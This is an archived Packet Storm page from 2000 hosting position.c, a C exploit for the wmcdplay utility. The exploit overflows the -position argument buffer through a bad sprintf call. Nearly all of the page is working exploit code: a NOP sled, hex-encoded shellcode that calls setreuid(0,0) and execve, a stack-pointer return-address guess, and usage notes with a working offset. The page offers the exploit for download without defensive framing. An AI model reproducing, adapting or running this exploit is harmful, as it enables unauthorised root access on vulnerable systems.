what you don't know can hurt you

position.c

position.c
Posted Mar 29, 2000
Authored by Larry W. Cashdollar | Site team-teso.net

Overflows the -position arg buffer in wmcdplay due to a bad sprintf call.

tags | exploit, overflow
MD5 | 39c483ebee434226c7d9214e09d580c9

position.c

Change Mirror Download
/*Overflows the -position arg (position) buffer in wmcdplay due to a
*bad sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
*/

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 1300 /*our buffersize. */

char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs in to the buffer leaving space for shellcode and pointers*/

printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);

for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);
}
/* www.hack.co.za */
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close